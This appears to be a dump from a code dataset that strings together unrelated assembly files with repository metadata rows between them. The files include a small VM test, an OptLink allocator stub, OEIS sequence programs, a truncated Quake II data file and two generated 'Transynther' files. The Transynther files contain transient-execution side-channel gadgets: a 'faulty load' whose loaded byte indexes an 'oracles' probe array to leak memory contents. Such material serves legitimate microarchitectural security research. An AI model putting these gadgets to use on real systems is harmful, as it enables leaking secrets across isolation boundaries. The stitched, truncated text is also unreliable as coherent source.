32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32
*/
| 37.091954 | 2,999 | 0.658351 |
229daa4bffad330f0b94f745f59c81b1d1166d62 | 38 | asm | Assembly | tests/test0.asm | JiahaoChenConor/COMP2017-Virtual_Machine | cce97bc86f421afd8f067cb2f83951a3afc42687 | [
"MIT"
] | null | null | null | tests/test0.asm | JiahaoChenConor/COMP2017-Virtual_Machine | cce97bc86f421afd8f067cb2f83951a3afc42687 | [
"MIT"
] | null | null | null | tests/test0.asm | JiahaoChenConor/COMP2017-Virtual_Machine | cce97bc86f421afd8f067cb2f83951a3afc42687 | [
"MIT"
] | null | null | null | FUNC LABEL 0
PRINT VAL 10
RET
| 9.5 | 16 | 0.605263 |
b79cc1723ee1f15d1881f9bff6409cd3ffabd88f | 6,451 | asm | Assembly | Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0x48.log_21829_321.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0x48.log_21829_321.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0x48.log_21829_321.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r15
push %r9
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_WT_ht+0x179e2, %rsi
lea addresses_D_ht+0x1928a, %rdi
nop
nop
nop
nop
nop
xor %r9, %r9
mov $26, %rcx
rep movsq
inc %r15
lea addresses_A_ht+0xae82, %r9
nop
nop
nop
nop
dec %rdx
mov (%r9), %r15w
nop
xor %rcx, %rcx
lea addresses_A_ht+0x142a4, %rcx
nop
and %rbx, %rbx
mov $0x6162636465666768, %rdx
movq %rdx, %xmm5
movups %xmm5, (%rcx)
nop
nop
nop
nop
nop
cmp $50869, %rbx
lea addresses_UC_ht+0x104ba, %rsi
nop
nop
dec %rbx
movw $0x6162, (%rsi)
nop
nop
sub $54102, %rdx
lea addresses_A_ht+0x16882, %rbx
clflush (%rbx)
nop
nop
dec %r9
vmovups (%rbx), %ymm5
vextracti128 $1, %ymm5, %xmm5
vpextrq $1, %xmm5, %rcx
nop
nop
nop
nop
inc %rcx
lea addresses_WC_ht+0x1b8d2, %rcx
nop
xor $40068, %rdi
mov (%rcx), %r9d
nop
nop
and %r15, %r15
lea addresses_D_ht+0x1e932, %rsi
lea addresses_UC_ht+0x1e982, %rdi
nop
nop
nop
nop
nop
cmp %r12, %r12
mov $118, %rcx
rep movsq
nop
nop
nop
nop
nop
sub %r9, %r9
lea addresses_normal_ht+0x11870, %rsi
lea addresses_normal_ht+0x49fa, %rdi
xor %r9, %r9
mov $116, %rcx
rep movsq
nop
nop
nop
nop
inc %r15
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %r9
pop %r15
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r8
push %r9
push %rax
push %rcx
push %rdi
push %rdx
// Load
lea addresses_PSE+0xeaa, %r11
nop
add %r9, %r9
mov (%r11), %ax
nop
nop
nop
xor $47345, %rdx
// Store
lea addresses_WC+0xfd82, %r8
nop
sub %rdi, %rdi
mov $0x5152535455565758, %r11
movq %r11, (%r8)
nop
nop
nop
and %r11, %r11
// Faulty Load
lea addresses_A+0x11982, %rax
nop
nop
nop
nop
cmp %rcx, %rcx
movb (%rax), %r9b
lea oracles, %r11
and $0xff, %r9
shlq $12, %r9
mov (%r11,%r9,1), %r9
pop %rdx
pop %rdi
pop %rcx
pop %rax
pop %r9
pop %r8
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_A', 'AVXalign': False, 'congruent': 0, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'AVXalign': False, 'congruent': 3, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'AVXalign': False, 'congruent': 7, 'size': 8, 'same': False, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_A', 'AVXalign': False, 'congruent': 0, 'size': 1, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 1, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 8, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 1, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 3, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 6, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 2, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 7, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 2, 'same': False}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
| 36.039106 | 2,999 | 0.656797 |
745711bf5c0d34f58c779b02ef105df7628b2a92 | 884 | asm | Assembly | alloc/initpool.asm | DigitalMars/optlink | 493de158282046641ef2a3a60a88e25e26d88ec4 | [
"BSL-1.0"
] | 28 | 2015-02-03T01:38:24.000Z | 2022-03-23T05:48:24.000Z | alloc/initpool.asm | DigitalMars/optlink | 493de158282046641ef2a3a60a88e25e26d88ec4 | [
"BSL-1.0"
] | 20 | 2015-01-02T14:51:20.000Z | 2021-01-09T21:37:19.000Z | alloc/initpool.asm | DigitalMars/optlink | 493de158282046641ef2a3a60a88e25e26d88ec4 | [
"BSL-1.0"
] | 9 | 2015-02-11T17:43:56.000Z | 2019-09-05T11:07:02.000Z | TITLE INITPOOL - Copyright (C) 1992 SLR Systems
INCLUDE MACROS
PUBLIC INIT_POOL
.CODE ROOT_TEXT
SOFT EXTP GET_NEW_LOG_BLK
ASSUME DS:NOTHING
INIT_POOL PROC
;
;SI MUST BE POINTING TO _STUFF, INITIALIZE WITHOUT HASH TABLE
;
IF 0
PUSHM ES,DI,CX,BX,AX
CALL GET_NEW_LOG_BLK ;LEAVE IN FAST MEMORY
MOV DGROUP:[SI].ALLO_BLK_LIST,AX
MOV DGROUP:[SI].ALLO_PTR.OFFS,0
MOV DGROUP:[SI].ALLO_PTR.SEGM,AX
MOV DGROUP:[SI].ALLO_CNT,PAGE_SIZE
LEA
FIXES
LEA DI,ALLO_FIRST[SI]
STOSW ;FIRST BLOCK
XCHG AX,BX
MOV AX,PAGE_SIZE-16
STOSW ;BYTE COUNT LEFT
MOV AX,16
STOSW ;PTR.OFFS
MOV AX,BX
STOSW ;PTR.SEGM
XOR AX,AX
STOSW ;NB_PTR.OFFS
MOV AX,BX
STOSW
MOV AX,8 ;NB_COUNT
STOSW
MOV ES,BX
ASSUME ES:NOTHING
CONV_ES
XOR DI,DI
MOV CX,8
XOR AX,AX
REP STOSW
POPM AX,BX,CX,DI,ES
ENDIF
RET
INIT_POOL ENDP
END
| 14.733333 | 64 | 0.683258 |
e0bc2772328970070ddfb3dea615c3949e901f46 | 51 | asm | Assembly | test/asm/label-outside-section.asm | orbea/rgbds | 91889fc14abbf705271bb484e89e349e08f76477 | [
"MIT"
] | 1 | 2017-07-01T17:00:58.000Z | 2017-07-01T17:00:58.000Z | test/asm/label-outside-section.asm | orbea/rgbds | 91889fc14abbf705271bb484e89e349e08f76477 | [
"MIT"
] | null | null | null | test/asm/label-outside-section.asm | orbea/rgbds | 91889fc14abbf705271bb484e89e349e08f76477 | [
"MIT"
] | null | null | null | bad:
SECTION "Test", ROM0
good:
PRINTT "OK!\n"
| 10.2 | 20 | 0.607843 |
08d1cdc7b7f9ff02e49483d539a9629d044fadf0 | 585 | asm | Assembly | programs/oeis/081/A081347.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/081/A081347.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/081/A081347.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A081347: First column in maze arrangement of natural numbers.
; 1,2,3,12,13,30,31,56,57,90,91,132,133,182,183,240,241,306,307,380,381,462,463,552,553,650,651,756,757,870,871,992,993,1122,1123,1260,1261,1406,1407,1560,1561,1722,1723,1892,1893,2070,2071,2256,2257,2450,2451,2652,2653,2862,2863,3080,3081,3306,3307,3540,3541,3782,3783,4032,4033,4290,4291,4556,4557,4830,4831,5112,5113,5402,5403,5700,5701,6006,6007,6320,6321,6642,6643,6972,6973,7310,7311,7656,7657,8010,8011,8372,8373,8742,8743,9120,9121,9506,9507,9900
mov $2,$0
sub $0,1
div $0,2
mul $0,2
add $0,1
pow $0,2
add $0,$2
| 53.181818 | 454 | 0.750427 |
bda12de3bed1b417e1d80e901ea10d21a5642ba1 | 755 | asm | Assembly | oeis/156/A156577.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/156/A156577.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/156/A156577.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A156577: a(2*n+2) = 10*a(2*n+1), a(2*n+1) = 10*a(2*n) - 9^n*A000108(n), a(0) = 1.
; Submitted by Christian Krause
; 1,9,90,891,8910,88938,889380,8890155,88901550,888923646,8889236460,88889884542,888898845420,8888918303988,88889183039880,888889778505099,8888897785050990,88888916293698870,888889162936988700,8888889745731469482,88888897457314694820,888888916009116149004,8888889160091161490040,88888889756144644725726,888888897561446447257260,8888888916865731730086828,88888889168657317300868280,888888889798221049143068700,8888888897982210491430687000,88888888918639496101060973160,888888889186394961010609731600
mov $2,1
mov $3,$0
mov $4,1
mov $5,1
lpb $3
mul $2,$3
div $2,$4
sub $3,1
add $4,1
trn $5,$2
mul $2,9
add $5,$2
lpe
mov $0,$5
| 39.736842 | 498 | 0.792053 |
03903f5f55966b0c914387112253d216f9a52440 | 6,135 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48_notsx.log_21829_1167.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48_notsx.log_21829_1167.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48_notsx.log_21829_1167.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r12
push %r13
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_WC_ht+0x5a2d, %r12
nop
nop
cmp $47552, %r11
mov (%r12), %di
nop
nop
nop
nop
nop
inc %r10
lea addresses_WT_ht+0x1896d, %rsi
lea addresses_UC_ht+0xc3a7, %rdi
nop
nop
nop
nop
and %r11, %r11
mov $70, %rcx
rep movsl
nop
nop
nop
nop
nop
dec %r11
lea addresses_WC_ht+0xde6d, %rsi
lea addresses_WC_ht+0x15f6d, %rdi
nop
nop
nop
xor $18277, %rbp
mov $100, %rcx
rep movsw
nop
nop
dec %r11
lea addresses_WC_ht+0x5f45, %rdi
nop
dec %r10
movb $0x61, (%rdi)
nop
nop
dec %r11
lea addresses_A_ht+0x5d6d, %r11
clflush (%r11)
add $7119, %r10
mov (%r11), %r12d
nop
nop
nop
sub $34220, %rdi
lea addresses_WT_ht+0x1c1d5, %rdi
nop
nop
nop
dec %r10
movb $0x61, (%rdi)
and %rsi, %rsi
lea addresses_normal_ht+0xd355, %rsi
lea addresses_WC_ht+0x4b77, %rdi
nop
nop
nop
cmp $11251, %r13
mov $54, %rcx
rep movsw
add %rsi, %rsi
lea addresses_UC_ht+0x9d0d, %rsi
lea addresses_WT_ht+0x1b70d, %rdi
nop
nop
nop
nop
nop
sub %r11, %r11
mov $24, %rcx
rep movsl
nop
nop
nop
and %r11, %r11
lea addresses_A_ht+0xcf6d, %r11
nop
sub $15599, %rdi
movw $0x6162, (%r11)
nop
nop
nop
nop
xor $10094, %r10
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %r13
pop %r12
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r13
push %r15
push %r8
push %r9
push %rbx
// Faulty Load
lea addresses_RW+0x1b76d, %r15
nop
nop
nop
cmp $63046, %r9
mov (%r15), %r12
lea oracles, %r9
and $0xff, %r12
shlq $12, %r12
mov (%r9,%r12,1), %r12
pop %rbx
pop %r9
pop %r8
pop %r15
pop %r13
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_RW', 'congruent': 0}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 8, 'type': 'addresses_RW', 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_WC_ht', 'congruent': 1}}
{'dst': {'same': False, 'congruent': 1, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 9, 'type': 'addresses_WT_ht'}}
{'dst': {'same': False, 'congruent': 11, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 4, 'type': 'addresses_WC_ht'}}
{'dst': {'same': True, 'NT': True, 'AVXalign': False, 'size': 1, 'type': 'addresses_WC_ht', 'congruent': 3}, 'OP': 'STOR'}
{'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_A_ht', 'congruent': 9}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 1, 'type': 'addresses_WT_ht', 'congruent': 3}, 'OP': 'STOR'}
{'dst': {'same': False, 'congruent': 0, 'type': 'addresses_WC_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 2, 'type': 'addresses_normal_ht'}}
{'dst': {'same': False, 'congruent': 3, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 5, 'type': 'addresses_UC_ht'}}
{'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_A_ht', 'congruent': 8}, 'OP': 'STOR'}
{'32': 21829}
32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32
*/
| 38.584906 | 2,999 | 0.659169 |
f2fbb0079a2e90853b7d641e8450429093ae5827 | 5,382 | asm | Assembly | Games/Quake II/quake2-3.21/ref_soft/r_varsa.asm | TwTravel/3dGameGuru | 50f204da32b7d3ddcbdb0daf140d503eac424153 | [
"Unlicense"
] | null | null | null | Games/Quake II/quake2-3.21/ref_soft/r_varsa.asm | TwTravel/3dGameGuru | 50f204da32b7d3ddcbdb0daf140d503eac424153 | [
"Unlicense"
] | 1 | 2019-12-10T15:47:15.000Z | 2019-12-10T15:47:15.000Z | Games/Quake II/quake2-3.21/ref_soft/r_varsa.asm | TwTravel/3dGameGuru | 50f204da32b7d3ddcbdb0daf140d503eac424153 | [
"Unlicense"
] | null | null | null | .386P
.model FLAT
;
; d_varsa.s
;
include qasm.inc
include d_if.inc
if id386
_DATA SEGMENT
;-------------------------------------------------------
; ASM-only variables
;-------------------------------------------------------
public float_1, float_particle_z_clip, float_point5
public float_minus_1, float_0
float_0 dd 0.0
float_1 dd 1.0
float_minus_1 dd -1.0
float_particle_z_clip dd PARTICLE_Z_CLIP
float_point5 dd 0.5
public fp_16, fp_64k, fp_1m, fp_64kx64k
public fp_1m_minus_1
public fp_8
fp_1m dd 1048576.0
fp_1m_minus_1 dd 1048575.0
fp_64k dd 65536.0
fp_8 dd 8.0
fp_16 dd 16.0
fp_64kx64k dd 04f000000h ; (float)0x8000*0x10000
public FloatZero, Float2ToThe31nd, FloatMinus2ToThe31nd
FloatZero dd 0
Float2ToThe31nd dd 04f000000h
FloatMinus2ToThe31nd dd 0cf000000h
